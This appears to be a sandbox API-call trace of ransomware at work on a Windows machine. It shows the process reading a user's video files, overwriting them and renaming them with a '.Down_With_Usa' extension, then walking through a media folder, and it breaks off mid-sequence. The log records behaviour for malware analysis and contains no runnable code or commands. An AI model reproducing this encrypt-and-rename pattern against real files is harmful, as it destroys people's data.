[0122.859] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2ebf28 | out: lpFileSizeHigh=0x2ebf28*=0x0) returned 0x1205d
[0122.859] ReadFile (in: hFile=0x3a8, lpBuffer=0x2739af8, nNumberOfBytesToRead=0x1205d, lpNumberOfBytesRead=0x2ebe58, lpOverlapped=0x0 | out: lpBuffer=0x2739af8*, lpNumberOfBytesRead=0x2ebe58*=0x1205d, lpOverlapped=0x0) returned 1
[0122.904] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4", nBufferLength=0x105, lpBuffer=0x2eb8c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4", lpFilePart=0x0) returned 0x39
[0122.904] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebda0) returned 1
[0122.904] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xvav yi4vmdvjy2o.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.907] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebd10) returned 1
[0122.911] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4", lpFilePart=0x0) returned 0x39
[0122.911] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4.Down_With_Usa", nBufferLength=0x105, lpBuffer=0x2eba60, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4.Down_With_Usa", lpFilePart=0x0) returned 0x47
[0122.911] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebea0) returned 1
[0122.911] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xvav yi4vmdvjy2o.mp4"), fInfoLevelId=0x0, lpFileInformation=0x2ebf80 | out: lpFileInformation=0x2ebf80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a67ee90, ftCreationTime.dwHighDateTime=0x1d5db15, ftLastAccessTime.dwLowDateTime=0xac5472c0, ftLastAccessTime.dwHighDateTime=0x1d5de16, ftLastWriteTime.dwLowDateTime=0x25b7d160, ftLastWriteTime.dwHighDateTime=0x1d6a96f, nFileSizeHigh=0x0, nFileSizeLow=0x12060)) returned 1
[0122.911] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2ebe60) returned 1
[0122.911] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xvav yi4vmdvjy2o.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\XVaV Yi4VMDVjY2O.mp4.Down_With_Usa" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\xvav yi4vmdvjy2o.mp4.down_with_usa")) returned 1
[0122.917] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.917] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-", lpFilePart=0x0) returned 0x39
[0122.917] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\", lpFilePart=0x0) returned 0x3a
[0122.917] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc92555e0, ftCreationTime.dwHighDateTime=0x1d5e596, ftLastAccessTime.dwLowDateTime=0xa8ceba40, ftLastAccessTime.dwHighDateTime=0x1d5e620, ftLastWriteTime.dwLowDateTime=0xa8ceba40, ftLastWriteTime.dwHighDateTime=0x1d5e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.917] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc92555e0, ftCreationTime.dwHighDateTime=0x1d5e596, ftLastAccessTime.dwLowDateTime=0xa8ceba40, ftLastAccessTime.dwHighDateTime=0x1d5e620, ftLastWriteTime.dwLowDateTime=0xa8ceba40, ftLastWriteTime.dwHighDateTime=0x1d5e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.917] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8762610, ftCreationTime.dwHighDateTime=0x1d5e3c7, ftLastAccessTime.dwLowDateTime=0x79957bd0, ftLastAccessTime.dwHighDateTime=0x1d5e74f, ftLastWriteTime.dwLowDateTime=0x79957bd0, ftLastWriteTime.dwHighDateTime=0x1d5e74f, nFileSizeHigh=0x0, nFileSizeLow=0xe56f, dwReserved0=0x0, dwReserved1=0x0, cFileName="-qxWitTy4skzmi.mkv", cAlternateFileName="-QXWIT~1.MKV")) returned 1
[0122.917] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cbc5030, ftCreationTime.dwHighDateTime=0x1d5e441, ftLastAccessTime.dwLowDateTime=0x4f312810, ftLastAccessTime.dwHighDateTime=0x1d5d8a6, ftLastWriteTime.dwLowDateTime=0x4f312810, ftLastWriteTime.dwHighDateTime=0x1d5d8a6, nFileSizeHigh=0x0, nFileSizeLow=0x9748, dwReserved0=0x0, dwReserved1=0x0, cFileName="3kraaGq.avi", cAlternateFileName="")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587220e0, ftCreationTime.dwHighDateTime=0x1d5e595, ftLastAccessTime.dwLowDateTime=0xf3fb5240, ftLastAccessTime.dwHighDateTime=0x1d5db48, ftLastWriteTime.dwLowDateTime=0xf3fb5240, ftLastWriteTime.dwHighDateTime=0x1d5db48, nFileSizeHigh=0x0, nFileSizeLow=0x4e52, dwReserved0=0x0, dwReserved1=0x0, cFileName="4xYcpdzJoQ2h.mp4", cAlternateFileName="4XYCPD~1.MP4")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cab5d40, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0xb11be700, ftLastAccessTime.dwHighDateTime=0x1d5dc83, ftLastWriteTime.dwLowDateTime=0xb11be700, ftLastWriteTime.dwHighDateTime=0x1d5dc83, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8rEBEH9", cAlternateFileName="")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d05ce0, ftCreationTime.dwHighDateTime=0x1d5dca3, ftLastAccessTime.dwLowDateTime=0xf1d1f420, ftLastAccessTime.dwHighDateTime=0x1d5d88b, ftLastWriteTime.dwLowDateTime=0xf1d1f420, ftLastWriteTime.dwHighDateTime=0x1d5d88b, nFileSizeHigh=0x0, nFileSizeLow=0x15f24, dwReserved0=0x0, dwReserved1=0x0, cFileName="9bPic8fwktms_.avi", cAlternateFileName="9BPIC8~1.AVI")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x789f1750, ftCreationTime.dwHighDateTime=0x1d5df1f, ftLastAccessTime.dwLowDateTime=0xd6aff650, ftLastAccessTime.dwHighDateTime=0x1d5dfad, ftLastWriteTime.dwLowDateTime=0xd6aff650, ftLastWriteTime.dwHighDateTime=0x1d5dfad, nFileSizeHigh=0x0, nFileSizeLow=0xa092, dwReserved0=0x0, dwReserved1=0x0, cFileName="9dfDnv.swf", cAlternateFileName="")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44cb4770, ftCreationTime.dwHighDateTime=0x1d5d9d2, ftLastAccessTime.dwLowDateTime=0x48b932e0, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x48b932e0, ftLastWriteTime.dwHighDateTime=0x1d5e006, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DI0XawpFZI.mp4", cAlternateFileName="DI0XAW~1.MP4")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44474620, ftCreationTime.dwHighDateTime=0x1d5e461, ftLastAccessTime.dwLowDateTime=0x36d790b0, ftLastAccessTime.dwHighDateTime=0x1d5e729, ftLastWriteTime.dwLowDateTime=0x36d790b0, ftLastWriteTime.dwHighDateTime=0x1d5e729, nFileSizeHigh=0x0, nFileSizeLow=0x1a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="F4eEU-yIz1j3gUSbNQur.mkv", cAlternateFileName="F4EEU-~1.MKV")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3beb6f0, ftCreationTime.dwHighDateTime=0x1d5dc5e, ftLastAccessTime.dwLowDateTime=0xffe58b20, ftLastAccessTime.dwHighDateTime=0x1d5d7ba, ftLastWriteTime.dwLowDateTime=0xffe58b20, ftLastWriteTime.dwHighDateTime=0x1d5d7ba, nFileSizeHigh=0x0, nFileSizeLow=0xc0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FvTG407.mp4", cAlternateFileName="")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103bc40, ftCreationTime.dwHighDateTime=0x1d5df98, ftLastAccessTime.dwLowDateTime=0xceaf52f0, ftLastAccessTime.dwHighDateTime=0x1d5e036, ftLastWriteTime.dwLowDateTime=0xceaf52f0, ftLastWriteTime.dwHighDateTime=0x1d5e036, nFileSizeHigh=0x0, nFileSizeLow=0x8d8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="kFk TGRBW6Xr--d7.mp4", cAlternateFileName="KFKTGR~1.MP4")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf75d720, ftCreationTime.dwHighDateTime=0x1d5d821, ftLastAccessTime.dwLowDateTime=0xb7d87ea0, ftLastAccessTime.dwHighDateTime=0x1d5d8fa, ftLastWriteTime.dwLowDateTime=0xb7d87ea0, ftLastWriteTime.dwHighDateTime=0x1d5d8fa, nFileSizeHigh=0x0, nFileSizeLow=0xb7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ly8S3r32Ch.mp4", cAlternateFileName="LY8S3R~1.MP4")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632587e0, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x2a789810, ftLastAccessTime.dwHighDateTime=0x1d5db84, ftLastWriteTime.dwLowDateTime=0x2a789810, ftLastWriteTime.dwHighDateTime=0x1d5db84, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nTyasypfy_2UR5D0t1B", cAlternateFileName="NTYASY~1")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9c00a40, ftCreationTime.dwHighDateTime=0x1d5e3aa, ftLastAccessTime.dwLowDateTime=0x969111a0, ftLastAccessTime.dwHighDateTime=0x1d5e57d, ftLastWriteTime.dwLowDateTime=0x969111a0, ftLastWriteTime.dwHighDateTime=0x1d5e57d, nFileSizeHigh=0x0, nFileSizeLow=0x6439, dwReserved0=0x0, dwReserved1=0x0, cFileName="syqT.flv", cAlternateFileName="")) returned 1
[0122.918] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
[0122.919] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.919] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.919] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2ebb00) returned 1
[0122.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-", nBufferLength=0x105, lpBuffer=0x2eb5f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-", lpFilePart=0x0) returned 0x39
[0122.919] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\", nBufferLength=0x105, lpBuffer=0x2eb590, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\", lpFilePart=0x0) returned 0x3a
[0122.919] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\*", lpFindFileData=0x2eb7a0 | out: lpFindFileData=0x2eb7a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc92555e0, ftCreationTime.dwHighDateTime=0x1d5e596, ftLastAccessTime.dwLowDateTime=0xa8ceba40, ftLastAccessTime.dwHighDateTime=0x1d5e620, ftLastWriteTime.dwLowDateTime=0xa8ceba40, ftLastWriteTime.dwHighDateTime=0x1d5e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ac18610
[0122.919] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc92555e0, ftCreationTime.dwHighDateTime=0x1d5e596, ftLastAccessTime.dwLowDateTime=0xa8ceba40, ftLastAccessTime.dwHighDateTime=0x1d5e620, ftLastWriteTime.dwLowDateTime=0xa8ceba40, ftLastWriteTime.dwHighDateTime=0x1d5e620, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0122.919] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8762610, ftCreationTime.dwHighDateTime=0x1d5e3c7, ftLastAccessTime.dwLowDateTime=0x79957bd0, ftLastAccessTime.dwHighDateTime=0x1d5e74f, ftLastWriteTime.dwLowDateTime=0x79957bd0, ftLastWriteTime.dwHighDateTime=0x1d5e74f, nFileSizeHigh=0x0, nFileSizeLow=0xe56f, dwReserved0=0x0, dwReserved1=0x0, cFileName="-qxWitTy4skzmi.mkv", cAlternateFileName="-QXWIT~1.MKV")) returned 1
[0122.920] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5cbc5030, ftCreationTime.dwHighDateTime=0x1d5e441, ftLastAccessTime.dwLowDateTime=0x4f312810, ftLastAccessTime.dwHighDateTime=0x1d5d8a6, ftLastWriteTime.dwLowDateTime=0x4f312810, ftLastWriteTime.dwHighDateTime=0x1d5d8a6, nFileSizeHigh=0x0, nFileSizeLow=0x9748, dwReserved0=0x0, dwReserved1=0x0, cFileName="3kraaGq.avi", cAlternateFileName="")) returned 1
[0122.920] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x587220e0, ftCreationTime.dwHighDateTime=0x1d5e595, ftLastAccessTime.dwLowDateTime=0xf3fb5240, ftLastAccessTime.dwHighDateTime=0x1d5db48, ftLastWriteTime.dwLowDateTime=0xf3fb5240, ftLastWriteTime.dwHighDateTime=0x1d5db48, nFileSizeHigh=0x0, nFileSizeLow=0x4e52, dwReserved0=0x0, dwReserved1=0x0, cFileName="4xYcpdzJoQ2h.mp4", cAlternateFileName="4XYCPD~1.MP4")) returned 1
[0122.920] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cab5d40, ftCreationTime.dwHighDateTime=0x1d5e748, ftLastAccessTime.dwLowDateTime=0xb11be700, ftLastAccessTime.dwHighDateTime=0x1d5dc83, ftLastWriteTime.dwLowDateTime=0xb11be700, ftLastWriteTime.dwHighDateTime=0x1d5dc83, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="8rEBEH9", cAlternateFileName="")) returned 1
[0122.920] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13d05ce0, ftCreationTime.dwHighDateTime=0x1d5dca3, ftLastAccessTime.dwLowDateTime=0xf1d1f420, ftLastAccessTime.dwHighDateTime=0x1d5d88b, ftLastWriteTime.dwLowDateTime=0xf1d1f420, ftLastWriteTime.dwHighDateTime=0x1d5d88b, nFileSizeHigh=0x0, nFileSizeLow=0x15f24, dwReserved0=0x0, dwReserved1=0x0, cFileName="9bPic8fwktms_.avi", cAlternateFileName="9BPIC8~1.AVI")) returned 1
[0122.920] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x789f1750, ftCreationTime.dwHighDateTime=0x1d5df1f, ftLastAccessTime.dwLowDateTime=0xd6aff650, ftLastAccessTime.dwHighDateTime=0x1d5dfad, ftLastWriteTime.dwLowDateTime=0xd6aff650, ftLastWriteTime.dwHighDateTime=0x1d5dfad, nFileSizeHigh=0x0, nFileSizeLow=0xa092, dwReserved0=0x0, dwReserved1=0x0, cFileName="9dfDnv.swf", cAlternateFileName="")) returned 1
[0122.920] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44cb4770, ftCreationTime.dwHighDateTime=0x1d5d9d2, ftLastAccessTime.dwLowDateTime=0x48b932e0, ftLastAccessTime.dwHighDateTime=0x1d5e006, ftLastWriteTime.dwLowDateTime=0x48b932e0, ftLastWriteTime.dwHighDateTime=0x1d5e006, nFileSizeHigh=0x0, nFileSizeLow=0x78b, dwReserved0=0x0, dwReserved1=0x0, cFileName="DI0XawpFZI.mp4", cAlternateFileName="DI0XAW~1.MP4")) returned 1
[0122.920] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x44474620, ftCreationTime.dwHighDateTime=0x1d5e461, ftLastAccessTime.dwLowDateTime=0x36d790b0, ftLastAccessTime.dwHighDateTime=0x1d5e729, ftLastWriteTime.dwLowDateTime=0x36d790b0, ftLastWriteTime.dwHighDateTime=0x1d5e729, nFileSizeHigh=0x0, nFileSizeLow=0x1a7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="F4eEU-yIz1j3gUSbNQur.mkv", cAlternateFileName="F4EEU-~1.MKV")) returned 1
[0122.920] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3beb6f0, ftCreationTime.dwHighDateTime=0x1d5dc5e, ftLastAccessTime.dwLowDateTime=0xffe58b20, ftLastAccessTime.dwHighDateTime=0x1d5d7ba, ftLastWriteTime.dwLowDateTime=0xffe58b20, ftLastWriteTime.dwHighDateTime=0x1d5d7ba, nFileSizeHigh=0x0, nFileSizeLow=0xc0a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FvTG407.mp4", cAlternateFileName="")) returned 1
[0122.981] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5103bc40, ftCreationTime.dwHighDateTime=0x1d5df98, ftLastAccessTime.dwLowDateTime=0xceaf52f0, ftLastAccessTime.dwHighDateTime=0x1d5e036, ftLastWriteTime.dwLowDateTime=0xceaf52f0, ftLastWriteTime.dwHighDateTime=0x1d5e036, nFileSizeHigh=0x0, nFileSizeLow=0x8d8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="kFk TGRBW6Xr--d7.mp4", cAlternateFileName="KFKTGR~1.MP4")) returned 1
[0122.981] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf75d720, ftCreationTime.dwHighDateTime=0x1d5d821, ftLastAccessTime.dwLowDateTime=0xb7d87ea0, ftLastAccessTime.dwHighDateTime=0x1d5d8fa, ftLastWriteTime.dwLowDateTime=0xb7d87ea0, ftLastWriteTime.dwHighDateTime=0x1d5d8fa, nFileSizeHigh=0x0, nFileSizeLow=0xb7c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="ly8S3r32Ch.mp4", cAlternateFileName="LY8S3R~1.MP4")) returned 1
[0122.981] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x632587e0, ftCreationTime.dwHighDateTime=0x1d5da3a, ftLastAccessTime.dwLowDateTime=0x2a789810, ftLastAccessTime.dwHighDateTime=0x1d5db84, ftLastWriteTime.dwLowDateTime=0x2a789810, ftLastWriteTime.dwHighDateTime=0x1d5db84, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nTyasypfy_2UR5D0t1B", cAlternateFileName="NTYASY~1")) returned 1
[0122.981] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9c00a40, ftCreationTime.dwHighDateTime=0x1d5e3aa, ftLastAccessTime.dwLowDateTime=0x969111a0, ftLastAccessTime.dwHighDateTime=0x1d5e57d, ftLastWriteTime.dwLowDateTime=0x969111a0, ftLastWriteTime.dwHighDateTime=0x1d5e57d, nFileSizeHigh=0x0, nFileSizeLow=0x6439, dwReserved0=0x0, dwReserved1=0x0, cFileName="syqT.flv", cAlternateFileName="")) returned 1
[0122.981] FindNextFileW (in: hFindFile=0x1ac18610, lpFindFileData=0x2eb7f0 | out: lpFindFileData=0x2eb7f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9c00a40, ftCreationTime.dwHighDateTime=0x1d5e3aa, ftLastAccessTime.dwLowDateTime=0x969111a0, ftLastAccessTime.dwHighDateTime=0x1d5e57d, ftLastWriteTime.dwLowDateTime=0x969111a0, ftLastWriteTime.dwHighDateTime=0x1d5e57d, nFileSizeHigh=0x0, nFileSizeLow=0x6439, dwReserved0=0x0, dwReserved1=0x0, cFileName="syqT.flv", cAlternateFileName="")) returned 0
[0122.981] FindClose (in: hFindFile=0x1ac18610 | out: hFindFile=0x1ac18610) returned 1
[0122.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba50) returned 1
[0122.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eba10) returned 1
[0122.982] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv", nBufferLength=0x105, lpBuffer=0x2eb330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv", lpFilePart=0x0) returned 0x4c
[0122.982] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb810) returned 1
[0122.982] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\tej-any_n6u3sep-6wp-\\-qxwitty4skzmi.mkv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3a8
[0122.982] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x2eb780) returned 1
[0122.982] GetFileSize (in: hFile=0x3a8, lpFileSizeHigh=0x2eb9a8 | out: lpFileSizeHigh=0x2eb9a8*=0x0) returned 0xe56f
[0122.982] ReadFile (in: hFile=0x3a8, lpBuffer=0x26818b8, nNumberOfBytesToRead=0xe56f, lpNumberOfBytesRead=0x2eb8d8, lpOverlapped=0x0 | out: lpBuffer=0x26818b8*, lpNumberOfBytesRead=0x2eb8d8*=0xe56f, lpOverlapped=0x0) returned 1
[0123.010] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv", nBufferLength=0x105, lpBuffer=0x2eb340, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\TEj-aNY_N6U3seP-6wP-\\-qxWitTy4skzmi.mkv", lpFilePart=0x0) returned 0x4c
[0123.010] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x2eb820) returned 1
